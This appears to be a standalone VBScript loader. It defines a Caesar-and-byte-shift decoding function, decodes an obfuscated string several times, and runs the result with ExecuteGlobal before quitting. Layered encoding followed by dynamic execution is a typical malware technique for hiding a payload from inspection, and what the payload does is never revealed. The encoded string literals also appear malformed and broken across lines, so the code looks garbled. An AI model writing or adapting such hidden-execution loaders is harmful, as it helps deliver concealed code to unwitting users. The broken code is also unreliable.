Function Decode(data, shiftValue)
Dim decodedData, charCode, decipheredData
decodedData = ""
decipheredData = ""
' Reverse the Caesar Cipher encryption
For i = 1 To Len(data)
charCode = Asc(Mid(data, i, 1))
If (charCode >= Asc("a") And charCode <= Asc("z")) Then
decipheredData = decipheredData & Chr((charCode - Asc("a") - shiftValue + 26) Mod 26 + Asc("a"))
ElseIf (charCode >= Asc("A") And charCode <= Asc("Z")) Then
decipheredData = decipheredData & Chr((charCode - Asc("A") - shiftValue + 26) Mod 26 + Asc("A"))
Else
decipheredData = decipheredData & Chr(charCode)
End If
Next
' Reverse the initial encoding loop
For i = 1 To Len(decipheredData)
charCode = Asc(Mid(decipheredData, i, 1))
charCode = charCode - shiftValue
' Keep the charCode within the range of 0 to 255
If charCode < 0 Then
charCode = charCode + 256
ElseIf charCode > 255 Then
charCode = charCode - 256
End If
decodedData = decodedData & Chr(charCode)
Next
Decode = decodedData
End Function
Dim encodedData, decodedData
encodedData = "[
g|V<sf
Gsqqer{V<gs{|)&)&j|
g|<n<x|
B>L)&j|
t<n<sf
encodedData = encodedData + "L)&sf
<n<Z)&)&j|
>L)&)&J<[|
<gsqqer{)&t
Gsqqer{<n<>ts
<W\T<F
``{ZOW{]
OW^B{fWPAAgWg|`hZ]PPe^^AX"
encodedData = encodedData + "
``{c{f|fPeAh
ehZ^]fOfe
]ZZA|___|A^fZX
{JVJzJLX
eg|KJ{e
JLl>)&)&J<F
|<gs{|<{
)&gs{|<n<>|
r<n<sf
|K>>><I<t
encodedData = encodedData + "sqqer{<I<>>>V<R
L>)&)&J<\
|<gs{|)&\
<gs{|)&)&G
>LXSt|r~|
Req|V<BLX
<>>T[w<
|{>>>)&)&"
decodedData = Decode(encodedData, 7)
decodedData = Decode(decodedData, 7)
decodedData = Decode(decodedData, 7)
decodedData = Decode(decodedData, 7)
decodedData1 = Decode(decodedData, 7)
decodedData2 = Decode(decodedData, 7)
decodedData3 = Decode(decodedData, 7)
call ExecuteGlobal (decodedData)
WScript.Quit